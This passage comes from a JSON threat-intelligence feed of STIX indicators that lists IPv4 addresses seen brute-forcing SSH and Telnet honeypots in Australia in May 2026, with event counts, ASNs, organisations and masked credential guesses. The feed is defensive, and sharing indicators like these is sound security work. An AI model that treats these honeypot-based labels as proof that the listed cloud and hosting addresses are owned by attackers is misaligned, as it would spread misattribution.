      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ba686c09-640d-4984-a6a6-2419e64cfa6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.14.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, d****n, d******r, j***y. Passwords observed (masked): 3***********4, 3**********4, 1********@, 1******l, A******9.",
      "id": "indicator--aeb67b62-6e99-40ea-a107-e898baf48044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.5.130.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 17665. Organisation(s): ONEOTT INTERTAINMENT LIMITED. Usernames observed (masked): r**t, d******r. Passwords observed (masked): P******d, *@ssw0rd.1, a***n.",
      "id": "indicator--5d33625e-0929-437f-a2c4-6ee9f7071656",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.192.227.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e37a480f-becd-4f0f-adbf-476ce0795598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.53.72.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 117. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******A, 3***********4, 3**********4, A*******c, A*******..",
      "id": "indicator--578cf3e0-731b-44f4-8f7a-861b74aa0164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.6.251.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 298. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 216300. Organisation(s): Closed Joint Stock Company AbkhazMedia. Usernames observed (masked): r**t, 3**********4, u***1, a***n, a****1. Passwords observed (masked): 3***********4, 3**********4, *, 1****0, 1***5.",
      "id": "indicator--8d6c41f0-b5af-4e18-894d-38eb3107f601",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.105.161.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--b297636c-0f74-49cd-a1d8-791dd705db74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.138.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8dbe5872-f1a3-4f7d-8797-5a8d5140c418",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.110.107.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, 3**********4, c***d, d*****p, h***y. Passwords observed (masked): 1****6, !**********0, ***, 1******W, 1*******X.",
      "id": "indicator--196d309e-89be-4782-be78-21a43bb8bb9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.244.201.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 64286. Organisation(s): LogicWeb Inc.. Usernames observed (masked): r**t, ***, 3**********4, c*******a, d******r. Passwords observed (masked): 1**4, 1***5, 1****6, 1**7, 3***********4.",
      "id": "indicator--4e37d630-8670-4057-84dc-218459ff9790",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.244.60.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263553. Organisation(s): GIGANET SERVICOS DE INTERNET -LTDA.",
      "id": "indicator--4411eabb-fa2a-42cc-8a44-d125e4d48c0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.237.159.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--50098261-9ac9-4741-9e21-ef73a197db11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, d****n, 3**********4. Passwords observed (masked): 3***********4, 3**********4, C*******3, N***3, P**********4.",
      "id": "indicator--8feb473a-fe0a-45fd-9ef9-c2dd01605709",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.40.132.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T02:16:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--fdc493de-5e5f-4e67-be90-b3adcf5bbc7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T02:16:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:16:14.000Z",
      "valid_until": "2026-07-02T02:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--16f9851c-e38d-47cf-9d89-28f11fd36141",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.30.37.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--cbbd9227-46c0-4778-811f-655c5f87fbaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '166.62.42.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--53b4c67a-b0fe-4fbf-96b1-22aa163c9431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.191.231.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4876e5e2-4a29-4221-aef1-1c4543feec36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.159.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--721563e7-15f7-4ecc-b74a-c79b712e9d58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.241.225.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--34f775a6-4e21-4d12-9183-1b8eee83ab37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.108.249.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): r**t, 3**********4, k**i, p**d, p*******r. Passwords observed (masked): ***, 3***********4, 3**********4, A********., T******!.",
      "id": "indicator--294f9dc1-5a52-4ab3-82e3-e12e36e3fa84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.56.80.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:15:10.000Z",
      "valid_until": "2026-07-02T03:15:08.000Z"
    },
    {
      "created": "2026-05-31T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--69103f7f-8bb8-4320-8f31-23d8d237ff1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:15:10.000Z",
      "valid_until": "2026-07-02T04:15:08.000Z"
    },
    {
      "created": "2026-05-31T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--a6ded0c9-859f-4877-bf7d-0fcc3680e0f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:15:10.000Z",
      "valid_until": "2026-07-02T04:15:08.000Z"
    },
    {
      "created": "2026-05-31T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ea400b58-b269-4c77-82b7-da5fa2e3a827",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.41.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:15:10.000Z",
      "valid_until": "2026-07-02T04:15:08.000Z"
    },
    {
      "created": "2026-05-31T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--a028cec0-7923-4bf7-9129-147800ea6eeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.79.193.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:15:10.000Z",
      "valid_until": "2026-07-02T04:15:08.000Z"
    },
    {
      "created": "2026-05-31T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56005. Organisation(s): Zhengzhou Fastidc Technology Co.,Ltd..",
      "id": "indicator--772b4d67-5dce-4d92-ac4d-b4c0f685b6e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.51.42.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:15:10.000Z",
      "valid_until": "2026-07-02T04:15:08.000Z"
    },
    {
      "created": "2026-05-31T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131596. Organisation(s): TBC.",
      "id": "indicator--657ed4f4-f8ec-4081-b1db-16db402a56d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.102.156.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:15:10.000Z",
      "valid_until": "2026-07-02T04:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): 3**********4, r**t, a***********r, e***k, p**l. Passwords observed (masked): 3***********4, 3**********4, 1*******3, 2****3, A***********!.",
      "id": "indicator--ab42f6bc-559a-4bdb-9d60-36255a4c77a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.251.185.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--904ff349-5cb8-4e26-a7a8-d339bef9bd15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--4851eafb-9065-4d4f-9f87-ec0060dbbe86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.49.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--a036bee7-d66e-48d6-95b0-9b4353c19c45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.168.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3029. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, u**r, d****y, **. Passwords observed (masked): 1****6, *, ***, r**t, 1******8.",
      "id": "indicator--0f3457ef-d25a-4b1a-bbf6-8a5e2d068967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 267340. Organisation(s): ONDATURBO LTDA - ME. Usernames observed (masked): 3**********4, r**t, a***********r, e***k, p**l. Passwords observed (masked): 3***********4, 3**********4, 1*******3, A***********!, P***********6.",
      "id": "indicator--12475445-6c14-4087-93af-8472f205c140",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.233.218.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--36998af2-8892-4ebb-af09-1ffdaa1d4c4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T05:15:10.000Z",
      "valid_until": "2026-07-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-31T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0d5389df-6292-4369-a4eb-14062f5e6478",
      "labels": [
        "bruteforce"
      ],
